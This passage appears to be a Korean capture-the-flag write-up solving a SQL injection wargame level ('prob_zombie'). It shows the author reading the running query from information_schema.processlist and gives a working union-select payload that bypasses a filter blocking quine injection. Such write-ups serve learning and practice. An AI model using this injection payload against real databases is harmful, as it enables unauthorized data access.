자, 문제를 보자. 방금 전 푼 문제와 방식이 동일하다. 그대로 풀이를 시도해보았지만. 'ace' 라는 글자가 필터링 되어, replace 함수 사용이 불가하여 Quine SQLi 시도가 실패했다.
2)
어찌 풀지 고민하다가, 구글 검색을 해보았다. rubiya님 블로그에서 답에 가까운 정보를 획득했다.
information_schema 데이터베이스를 보면, processlist라는 테이블이 존재한다. 이 테이블에는 현재 실행중인 쿼리문이 저장되어 있다고 한다
실제 서버에서 해당 테이블을 조회한 결과, 바로 직전 실행한 쿼리문이 그대로 저장되는 것을 확인할 수 있었다.
mysql> select * from processlist;
+----+------+-----------+--------------------+---------+------+-----------+---------------------------+
| ID | USER | HOST | DB | COMMAND | TIME | STATE | INFO |
+----+------+-----------+--------------------+---------+------+-----------+---------------------------+
| 24 | root | localhost | information_schema | Query | 0 | executing | select * from processlist |
+----+------+-----------+--------------------+---------+------+-----------+---------------------------+
1 row in set (0.00 sec)
3)
이를 응용하면 문제풀이가 이루어질거라 생각이 된다. 쿼리결과 출력되는 값이 전달 되는 값과 동일하기 위해서는 substr()를 이용해 쿼리의 일부를 출력해야만 한다.
[Payload]
?pw=' union select substr(info, 38, 72) from information_schema.processlist#
위의 쿼리와 같이 값을 넘겨주게 되면, 쿼리가 실행되면서 processlist의 info 컬럼에 select pw from prob_zombie where pw='' union select substr(info, 38. 72) from information_schema.processlist# 중 전달된 값과 동일한 'union ... list# 부분을 쿼리의 결과 값으로 반환하게 된다.